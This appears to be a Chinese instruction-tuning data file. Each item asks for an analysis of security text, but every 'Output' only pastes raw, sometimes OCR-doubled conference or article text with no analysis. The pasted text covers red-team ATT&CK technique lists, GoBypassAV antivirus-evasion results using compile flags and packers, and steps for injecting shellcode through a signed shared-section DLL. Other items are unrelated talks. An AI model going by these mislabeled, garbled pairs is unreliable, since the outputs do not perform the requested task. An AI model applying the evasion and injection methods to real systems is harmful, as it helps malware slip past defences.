网络嗅探
密码筛选器DLL
私钥
安全内存
双因素拦截
……
帐户发现
应用窗口发现
浏览器书签发现
文件和目录发现
网络服务扫描
网络共享发现
密码策略发现
外围设备发现
权限组发现
进程发现
查询注册表
远程系统发现
安全软件发现
系统信息发现
网络配置发现
网络连接发现
系统用户发现
系统服务发现
系统时间发现
……
访问令牌操作
BITS任务
二进制填充
绕过UAC
清除命令历史
代码签名
组件固件
COM劫持
控制面板项
DLL侧载
禁用安全工具
EWM注入
文件删除
文件权限修改
隐藏用户
隐藏窗口
IFEO注入
指标拦截
从主机移除指标
间接命令执行
安装根证书
InstallUtil程序
LC_MAIN劫持
……
AppleScript消息
应用部署软件
分布式对象模型
远程服务漏洞利用
登陆脚本
PtH
PtT
远程桌面协议
远程文件复制
可移动媒体复制
SSH劫持
共享Webroot
污染共享内容
第三方软件
Win管理员共享
Win远程管理
远程服务
……
音频捕获
自动化收集
剪贴板数据
数据整合
存储库数据
本地系统数据
网络驱动器数据
可移动媒体数据
电子邮件收集
输入捕获
浏览器中间人
截屏
视频捕获
……
自动化透传
数据压缩
数据加密
数据传输大小限制
透传的备用协议
C2通道进行透传
网络介质透传
物理介质透传
周期传输
……
常用端口
可移动媒体通信
代理传输
自定义协议
数据编码
数据混淆
域前置
备用信道
多段信道
多层加密
……
影 响
消 除
账户权限删除
数据销毁
磁盘擦除
终端拒绝服务
固件损坏
拒绝系统恢复
资源劫持
服务停止
数据传输操作
……
命 令
控 制
● 红队作战攻击重要步骤
● 战术中用到的技术点
● 工具改造与武器化
初始访问@TA0001
初始接入策略代表攻击者用于在网络中取得初始立足点
的(攻击)向量
打点?
初始访问: 打点
薄弱防护系统，边缘业务
同C段同ISP
关键集权系统
供应链
......
注册表
计划任务
初始访问：钓鱼攻击
载荷格式？
投递方式？
社工话术？
利用方式？
初始访问: 免杀宏
● VelvetSweatshop
● 诱导
● 白加黑
执行@TA0002
执行策略表示造成在本地或远程系统上执行由攻击者控
制的代码的技术。该策略通常与初始接入一起使用，作
为一旦获得访问就执行代码的手段，之后进行横向移动
以扩展对网络上远程系统的访问。
执行:LOLBINS
● https://github.com/LOLBAS-Project/LOLBAS
lolbins可以是带有Microsoft签名的二进制文件，可以是Microsoft系统目...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

GoBypassAV
整理理了了基于Go的16种API免杀测试、8种加密测试、反沙盒测试、编译混淆、加壳、资源修改等免
杀技术，并搜集汇总了了⼀一些资料料和⼯工具。
免杀专题⽂文章及⼯工具：https://github.com/TideSec/BypassAntiVirus
免杀专题在线⽂文库：http://wiki.tidesec.com/docs/bypassav
本⽂文涉及的所有代码和资料料：https://github.com/TideSec/GoBypassAV/
0x01 基于Go的免杀
Go语⾔言是⾕谷歌2009发布的第⼆二款开源编程语⾔言，Go语⾔言专⻔门针对多处理理器器系统应⽤用程序的编程进
⾏行行了了优化，使⽤用Go编译的程序可以媲美C或C++代码的速度，⽽而且更更加安全、⽀支持并⾏行行进程。
基于Go的各种免杀也就是使⽤用不不同的windows API为shellcode申请⼀一段内存，然后把指令寄存器器
指向shellcode的开头，让机器器执⾏行行这段shellcode。除此之外，再加上⼀一些其他⽅方式，也可以有效
的提⾼高免杀效果。
本⽂文就这些常⽤用免杀⽅方式进⾏行行总结汇总。
0x02 使⽤用不不同API
在本系列列上⼀一篇⽂文章 《76.远控免杀专题(76)-基于Go的各种API免杀测试》 中，已经对常⻅见的 16
种API免杀 效果进⾏行行了了测试，⼤大家可以浏览参考。
测试使⽤用的平台为VT平台： https://virustotal.com/
0x03 反沙盒检测
在本系列列的第75篇⽂文章 《75.远控免杀专题(75)-基于Go的沙箱检测》 中，对常⻅见的8种沙盒检测
⽅方式进⾏行行了了总结。
具体沙盒检测代码在这⾥里里： https://github.com/TideSec/GoBypassAV/tree/main/SandBox
测试结果为如下。
未使⽤用沙箱检测技术的，VT查杀结果为：10/71
使⽤用了了沙箱检测技术的，VT查杀结果为：8/70
这些都属于⽐比较常规、简单且已经公开的⽅方式，所以差别不不是很⼤大，沙盒基本都能反反检测了了。
0x04 Go编译对免杀的影响
在使⽤用Go进⾏行行免杀的时候， go build 的编译选项也对免杀效果有较⼤大影响。
在编译时，常⽤用的编译命令为 go build -ldflags="-s -w -H=windowsgui"
测试使⽤用的平台为VT平台： https://virustotal.com/ ，使⽤用的是专题76中的 HelloTide 代
码。
L. 直接使⽤用 go build ，VT免杀率7/70，免杀效果最好的，但⽂文件相对⽐比较⼤大，⼀一
个 helloworld 都能1.8M。
N. -ldflags="-s -w" 参数：VT免杀率7/70，主要是减⼩小⽂文件⼤大⼩小， helloworld 能缩减到
1.2M，没有增强免杀效果。
O. -ldflags="-H=windowsgui" 参数：VT免杀率13/70，主要是隐藏窗⼝口，但会降低免杀效
果，VT查杀增加4。
Q. -race 参数：VT免杀率20/70，在2021年年的时候这个参数效果很好，但现在已经不不能⽤用了了，
正常的 helloworld 加上这个参数后VT平台直接16个报病毒。
所以⽐比较推荐的编译命令为 go build -ldflags="-s -w" ，但是这样就会有⿊黑窗⼝口，后⾯面会说如
何解决⿊黑窗⼝口的隐藏问题。
0x05 加壳混淆
对程序进⾏行行加壳或者混淆也是常⽤用的免杀⽅方式，本系列列⽂文章之前也介绍过⼀一些加壳软件，⽐比如upx
加壳之类的，这⾥里里对⽐比⼀一下对Go程序进⾏行行UPX加壳的免杀效果。
还是使⽤用上⾯面 go build ，VT免杀率7/70的程序进⾏行行加壳对⽐比。
5.1 upx加壳
使⽤用最优加壳 upx --best 00-HelloTide.exe -o upx-hello.exe
加壳后⼤大⼩小从1.8M降为1.08M，但是VT免杀率降到了了13/70。
5.2 shielden加壳
使⽤用 safengine shielden 加壳2.4.0.0 软件进⾏行行加壳，加壳后⽂文件居然变⼤大到了了2.5M，VT免杀
率居然降到了了33/70，可以直接放弃这个了了。
5.3 VMProtect加壳
使⽤用 VMProtect Ultimate 3.4.0  进⾏行行加壳，加壳后⽂文件居然6.3M，VT免杀率居然降到了了
19/70。⽂文件那么⼤大，免杀效果也⼀一般，也可以放弃了了。
5.4 garble代码混淆
使⽤用 garble 可对Go程序进⾏行行编译混淆，起到⼀一定的免杀作⽤用。 项⽬目地...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

前⾔
常规的shellcode注⼊⼀般是通过 VirtualAllocEx , WriteProcessMemory  和
CreateRemoteThread  来实现的，但是这种⽅式是被安全软件重点监控的，同时微软提供的
ETW接⼝也是可以轻易检测出上述⽅式进⾏代码注⼊的痕迹。本⽂的核⼼是讲解怎么利⽤具
备 RWX-S 权限且⾃身有签名的⽩DLL进⾏⼀种⽐较隐蔽的shellcode注⼊，
并讲解具体的代码实现以及在写代码实现的过程中遇到的坑。本⽅法是由⽂章提出的：https:
//billdemirkapi.me/sharing-is-caring-abusing-shared-sections-for-code-injection/ ，详情可
以参考此⽂章。
基础知识回顾
PE⽂件的每个section都具备⾃⼰的权限，表明他被映射到虚拟内存之后的操作权限，也就是
SECTION_CHARACTERISTICS  这个字段，占四个字节。
通常来讲 .text  节区只具备 IMAGE_SCN_MEM_READ  和 IMAGE_SCN_MEM_EXECUTE  权
限， .data  节区⼀般只具备 IMAGE_SCN_MEM_READ , IMAGE_SCN_MEM_WRITE  权限。 当PE⽂
件被映射到内存后，对⼀个不具备 IMAGE_SCN_MEM_WRITE  权限的节区进⾏写操作或者对⼀
个没有 IMAGE_SCN_MEM_EXECUTE  的节区进⾏执⾏时，都会报异常。
看微软的⽂档：document, 会发现⼀个权限叫做 IMAGE_SCN_MEM_SHARED 。 那共享到底意味
着什么？据测试显示：具备此权限的section会被当前系统所有的进程共享，如果进程A和进
程B都加载了具备IMAGE_SCN_MEM_SHARED权限的模块C，那么模块C的此section在系
统层⾯上只有⼀份，这也就意味着A进程对C的修改（有IMAGE_SCN_MEM_WRITE权限）
会影响到B进程
那么思路就来了，如果⼀个模块的某个节区是具备 RWX-S  权限，我只需要把它加载到进程A
中，然后修改它的内容为恶意代码，然后想办法让他加载到进程B中，就可以实现在B中执⾏
恶意代码了， 那这种利⽤主要分为如下⼏个步骤：
⾄于怎么去找⼀个具备 RWX-S权限的签名dll，原⽂作者也提供了⼀个yara规则在virustotal上
来筛选，不再细说:
这⾥提供⼀个我找到的DLL: https://www.virustotal.com/gui/file/855277c0aeea89d17a07e27
e9cf79c98b26e70e8e57561c4b592097e0032c4e9，
以后的代码都是基于此DLL完成的。
1. 找到⼀个有签名的并且具备 RWX-S 权限的dll。(不具备RWX-S权限也可以，可以patch系
统内的已签名的dll，但是这样会破坏签名，不够隐蔽)
2. 将DLL加载到进程A的内存⾥，修改 RWX-S 权限的section的代码进⾏patch
3. 调⽤  SetWindowsHookEx，使⽤DLL中的某个函数指针作为 HOOKPROC 参数，使得DLL被
注⼊到⽬标进程B中。
4. ⽬标进程B加载DLL，并触发恶意代码执⾏。
import "pe"
rule RWX_S_Signed_Search
{
  meta:
    description = "Detects RWX-S signed binaries. This only verifies
that the image contains a signature, not that it is valid."
    author = "Bill Demirkapi"
  condition:
    for any i in (0..pe.number_of_sections - 1): (
      (pe.sections[i].characteristics & pe.SECTION_MEM_READ) and
      (pe.sections[i].characteristics & pe.SECTION_MEM_EXECUTE) and
      (pe.sections[i].characteristics & pe.SECTION_MEM_WRITE) and
      (pe.sections[i].characteristics & pe.SECTION_MEM_SHARED) )
    and pe.number_of_signatures > 0
}
其实这⾥⾯最关键的是步骤⼆，主要涉及两个问题：...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

消失的那几年
杨 蔚 301
白帽子的成长独白
2016.07.14
众安天下
关于我
01
90后，连续创业者，黑客理想主义者
02
乌云核心白帽子，大学肄业
03
原乌云合伙人，乌云众测平台负责人
04 北京众安天下科技有限公司创始人兼
CEO，安全自媒体平台出品人（301
在路上）
WeChat：2036234
Email：301@allsec.cn
杨 蔚 花名：301
众安天下
CONTENT
消失的那几年哪去了
这几年做到的事情
快速成长的秘笈
安全总结与建议
众安天下
1、消失的那几年哪去了
众安天下
消失的那几年哪去了
WHY?
高考失利，人生太顺，无法接受
WHAT?
网络工作室，把自己关在网络世界
里，但因经营不善，工作室关闭
HOW?
选择继续消失，逃避，不愿他人
看到自己的失意和落魄，退学。
WHERE?
与亲朋好友断绝了联系，失联很
久，在新的地方重新开始创业
一心想挤进"安全圈"
消失的那几年的愿景
众安天下
“大部分人的成长轨迹"
消失的那几年哪去了
众安天下
利用大量精力弥补
消失的那几年哪去了
301，一直在路上
众安天下
消失的那几年哪去了
" 301，什么时候来北京出差。"
——身边所有的声音
众安天下
2、这几年做到的事情
众安天下
高级安全顾问（2012.7—2014.2）
•
在国内知名安全咨询公司谷安天下，做渗透测试方向
安全顾问，"野蛮生长"
乌云合伙人，乌云众测负责人（2014—2016.4）
•
负责乌云企业商业运营及技术服务、创新业务，服务
企业和白帽子，并完成很多不可能的事情。
众安天下创始人兼CEO（2016年创业在路上）
•
安全人才服务、安全内容服务、提供一站式的企业安
全顾问服务等。
这几年做到的事情
众安天下
这几年遇到的事情
"白帽子，不信任，不理解"
——身边大部分的声音
众安天下
"你之所以看不到黑暗"
"是因为有人竭尽全力把黑暗挡在你看不到的地方"
这几年遇到的事情
——暴走大事件主编王尼玛
众安天下
3、快速成长的秘笈
众安天下
第一、健康心态
快速成长的秘笈
众安天下
第二、换位思考
快速成长的秘笈
众安天下
第三、自我驱动
快速成长的秘笈
众安天下
第四、提升效率
快速成长的秘笈
众安天下
第五、自信不自负
快速成长的秘笈
众安天下
第六、合理试错
快速成长的秘笈
众安天下
第七、专业技能
快速成长的秘笈
众安天下
第八、行业知识
快速成长的秘笈
众安天下
4、安全总结和建议
众安天下
"原地踏步就是退步"
安全的建议和总结
众安天下
"最大的对手是自己"
安全的建议和总结
众安天下
"真正懂你的人，不是自己"
"而是竞争对手"
安全的建议和总结
众安天下
"执行力是成功的第一生产力"
安全的建议和总结
众安天下
多数失败，死在"快"的路上
安全的建议和总结
众安天下
"大部分人：什么是竞争力？ "
安全的建议和总结
众安天下
"把简单的事情做到极致"
"就是核心竞争力"
安全的建议和总结
众安天下
"意欲取之，必先予之"
安全的建议和总结
众安天下
"安全是一种能力"
"技术转化为生产力"
安全的建议和总结
众安天下
在对的时间里
跟对的人
一起做对的事情
安全的建议和总结
众安天下
“认可、包容、机会 "
安全的建议和总结
——安全新人们的心音
众安天下
THANK YOU
聚天下英才而用之
以人为本，众安天下
www.allsec.cn
众安天下
301在路上
301@allsec.cn


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Wietze Beukema (@wietze)
D3FC0N, August 2022
SAVE THE ENVIRONMENT (VARIABLE)
HIJACKING LEGITIMATE APPLICATIONS WITH A MINIMAL FOOTPRINT
D3F
C0N
@Wietze
▪ Sr Threat Hunter on CrowdStrike’s OverWatch Elite team
▪ Based in London, UK
▪ Previously presented at BSides London, MITRE ATT&CK EU Community,
SANS DFIR
HELLO WORLD, WHO DIS?
2
@WIETZE
D3F
C0N
DLL HIJACKING
“Tricking a (legitimate/trusted) application into loading an arbitrary DLL”
Legitimate DLLs
Trusted program
Evil DLL
3
@WIETZE
D3F
C0N
Attacker-
controlled folder
Original folder
4
@WIETZE
DLL HIJACKING: COMMON TYPES
DLL SIDE-LOADING
Move vulnerable EXE, put next to malicious DLL
DLL SEARCH ORDER HIJACKING
Put malicious DLL in folder searched before legit DLL
DLL SUBSTITUTION
Replace the original DLL with a malicious one
D3F
C0N
Attacker-
controlled folder
Original folder
5
@WIETZE
DLL HIJACKING: LESS COMMON TYPES
PHANTOM DLL HIJACKING
Create malicious DLL in location that is searched for,
but normally does not exist
WINSXS HIJACKING
Manipulate Windows Side-by-Side infrastructure
INPUT-BASED HIJACKING
Manipulate the command line, Windows Registry, etc.
D3F
C0N
WELL DOCUMENTED
WELL RESEARCHED
WELL DETECTED
6
@WIETZE
D3F
C0N
7
@WIETZE
VARIABLES
D3F
C0N
▪ (Dynamic) variable that can be used by running programs
▪ Can be used in:
▪ Command shells (e.g. %VAR% on Windows, $VAR on Unix)
▪ As well as regular processes (e.g. getenv("VAR") in C)
▪ Typically stored as (ASCII) string
8
@WIETZE
ENVIRONMENT VARIABLES
D3F
C0N
ENVIRONMENT VARIABLES: A BRIEF HISTORY
An environment variable is a special case of a replaceable parameter.
If the SET command is used in the form
SET name=value
to add an environment variable to the system's environment block, the
string value will be substituted for the string %name% wherever the
latter is encountered during the interpretation of a batch file. This
capability is available only in versions 2.x, 3.1, and 3.2.
70
80
90
00
10
20
1978: Version 7 Unix introduces
environment variables
1982...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Protecting Against and
Investigating Insider Threats
A methodical, multi-pronged approach
to protecting your organization
Antonio A. Rucci
Program Director
Technical Intelligence and Security Programs
Global Initiatives Directorate
Oak Ridge National Laboratory
Oak Ridge, TN 37831
AGENDA
A methodical, multi-pronged approach
to protecting your organization
• Key indicators of an insider threat and how to detect
them
• Specific hiring practices to minimize your risk
• Security awareness training and education to thwart
opportunistic individuals
• Recent case studies that illustrate the key indicators and
how to protect against them
www.ornl.gov
AGENDA
A methodical, multi-pronged approach
to protecting your organization
• Key indicators of an insider threat and how to detect
them
• Specific hiring practices to minimize your risk
• Security awareness training and education to thwart
opportunistic individuals
• Recent case studies that illustrate the key indicators and
how to protect against them
Who Are The Insiders?
•
Employees
•
Former Employees
•
Contractors
•
Consultants
•
Suppliers
•
Visitors
•
Collaborators
• User facilities
• University faculty
• Industry
Pre-conditions
• Motive or need to be satisfied through the crime
• Ability to Overcome Inhibitions:
•
Moral values
•
Fear of being caught
•
Loyalty to employer or co-workers
•
Risk-Taking Behaviors
• Trigger that sets the betrayal in motion
• Opportunity to commit the crime
•
Poor and/or lax security practices
Motive
• Financial
• Anger
• Excitement
• Divided loyalties
• Arrogance
• The BIG 3:
- Greed
- Disgruntlement
- Revenge
• Moral Values
• Ethical Values
• Loyalty
• Fear
• Rationalization
Ability to Overcome
Inhibitions
Trigger
•
Personal or professional
event
•
Stress pushes individual to
the “breaking point”
•
React negatively, and
criminally
•
Emotionally stable/well
adjusted
•
React to stress in a positive
manner
At lea...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Ode to the DEFCON 15 Badge
Joe Grand (Kingpin)
170 hours of total time spent
2 nights of my honeymoon (oh, how I lament!)
3 circuit board revisions to get it all right
863,600 total components bring them to light
6,800 hackers wearing the badge in all its glory
If you want to learn more, please read this fine story
A matrix of 95 LEDs (5 columns by 19 row)
Two coin cell batteries make the current flow
Six text cutouts and soldermask colors to show
If you're a human, speaker, goon, vendor, press, or uber bro
On power up the badge will not make a peep
But fear not, that's by design, it is only asleep
Touch the top icon (it's a button, really)
And get a scrolling text message intended for thee
Touch the top icon yet again (just trust me)
And you'll move to the next mode for custom text message entry
Hit the bottom icon to begin your noble quest
Then use either icon to cycle through the list
Tap both icons to save a character to your queue
16 letters long is the maximum we can do
When you're all done, seek out the solid block
Tap both icons again and on the screen your message will walk
The next mode sets the speed of your inscription
You can change it like a baud rate or a doctor's drug prescription
Select the scroll velocity between the numbers 1 and 5
Which goes from slow and boring to a thrilling autobahn drive
(Remember to tap both icons for the badge to come alive)
Next we arrive at our last badge state (finally)
A special treat known as persistence-of-vision or POV
Wave the badge in front of your eyes in one direction
And a secret message appears magically like the morning's first erection
If all you see is a jumbled mess of bright lights
Try hiding in the darkness, squinting your eyes, or changing those hard-coded bytes
(When your badge is not in use, set the mode back to snooze)
The source code is open and the schematics are free (as in beer)
So now you can be a hardware hacking engineer
Unpopulated footprints for a wirele...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

PCI 2.0:
Still
Compromising Controls
and
Compromising Security
PCI? At DefCon? Again?
Use the hashtag #DefconPCI to rant on the
Twitterz during this talk. We damn sure will!
Use @defconPCIpanel for
comments or Twitter-heckling
Who are we?
• Dave Shackleford @daveshackleford
• Joshua Corman @joshcorman
• James Arlen @myrcurial
• Jack Daniel @jack_daniel
• Alex Hutton @alexhutton
• Martin McKeay @mckeay
Usual disclaimers
• We do not speak for our employers, clients or
customers.  Nor for our spouses, siblings, or
offspring.  But my dog will back me up.
• Our opinions are our own, the facts are as we
see them.
• We aren’t lawyers…etc.
• These QSAs are not your QSAs.
Déjà vu all over again
Déjà vu all over again
Last year…
• PCI 2.0 was new.
• PCI 2.0 was “fresh”.
• PCI 2.0 was just as frustrating as PCI 1.x.
• PCI 2.0 was still lacking in concrete guidance
on a LOT of things:
– Mobile devices
– Virtualization
• So…where the hell are we now?
The Good
Becoming
Compliant is not
easy
So what?
Does Compliance affect “secure” at
all?
We don’t know how to measure
“secure” so the best we can look at
is the frequency & characteristics
of incidents, and compare those to
PCI.
How difficult and targeted
were the attacks?
The Bad
The Bad
Sometimes people cheat
The Ugly
Is History Doomed to Repeat Itself?
• We are doing the same %&$# as a decade ago.
• Firewalls.
• SSL.
• Patches (maybe).
• Crypto (sort of).
• Can a WAF save us all!?
– Ahem.
The Ugly
The Solution(s)?